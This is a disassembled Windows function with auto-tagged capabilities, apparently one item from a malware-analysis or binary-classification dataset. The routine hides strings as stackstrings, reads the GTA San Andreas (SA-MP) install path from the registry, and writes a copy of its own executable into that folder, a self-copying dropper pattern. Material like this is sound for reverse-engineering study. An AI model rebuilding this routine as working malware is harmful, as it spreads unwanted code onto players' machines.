Function at 0x1000aaa3
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Get file attributes
Query or enumerate registry value
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x10010008]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov edi, 0x104
mov byte [ebp - 0x108], 0x53
mov dword [ebp - 0x10c], edi
nop
mov byte [ebp - 0x107], 0x4f
nop
mov byte [ebp - 0x106], 0x46
nop
mov byte [ebp - 0x105], 0x54
nop
mov byte [ebp - 0x104], 0x57
nop
mov byte [ebp - 0x103], 0x41
nop
mov byte [ebp - 0x102], 0x52
nop
mov byte [ebp - 0x101], 0x45
nop
mov byte [ebp - 0x100], 0x5c
nop
mov byte [ebp - 0xff], 0x53
nop
mov byte [ebp - 0xfe], 0x41
nop
mov byte [ebp - 0xfd], 0x4d
nop
mov byte [ebp - 0xfc], 0x50
nop
xor ebx, ebx
mov byte [ebp - 0xfb], bl
call fcn.1000acda
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x1000accb
lea eax, [ebp - 0x110]
push eax
push 0x20019
push ebx
lea eax, [ebp - 0x108]
push eax
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1000accb
mov byte [ebp - 0x108], 0x67
nop
mov byte [ebp - 0x107], 0x74
nop
mov byte [ebp - 0x106], 0x61
nop
mov byte [ebp - 0x105], 0x5f
nop
mov byte [ebp - 0x104], 0x73
nop
mov byte [ebp - 0x103], 0x61
nop
mov byte [ebp - 0x102], 0x5f
nop
mov byte [ebp - 0x101], 0x65
nop
mov byte [ebp - 0x100], 0x78
nop
mov byte [ebp - 0xff], 0x65
nop
lea eax, [ebp - 0x10c]
mov byte [ebp - 0xfe], bl
push eax
lea eax, [ebp - 0x108]
push eax
push ebx
push ebx
push eax
push dword [ebp - 0x110]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x1000accb
lea ecx, [ebp - 0x108]
call fcn.10003038
xor ecx, ecx
inc ecx
sub ecx, esi
add ecx, eax
mov al, byte [esi]
mov byte [ecx + esi], al
inc esi
test al, al
jne 0x1000abfe
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1000ac22
test al, 0x10
je 0x1000accb
push ebx
push 2
pop esi
push esi
push esi
push ebx
push esi
push 0x40000000
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x114], eax
lea eax, [ebp - 0x108]
push edi
push eax
push dword [0x1001091c]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x108]
push 0x1000d388
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
push esi
mov esi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov ebx, eax
push 0
push ebx
call esi
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
push 0
push 0
push ebx
mov edi, eax
call esi
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
push ebx
push edi
mov esi, eax
push 1
push esi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 0x3c
lea eax, [ebp - 0x10c]
push 0
push eax
push edi
mov edi, dword [ebp - 0x114]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
pop ecx
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000af1b
leave
ret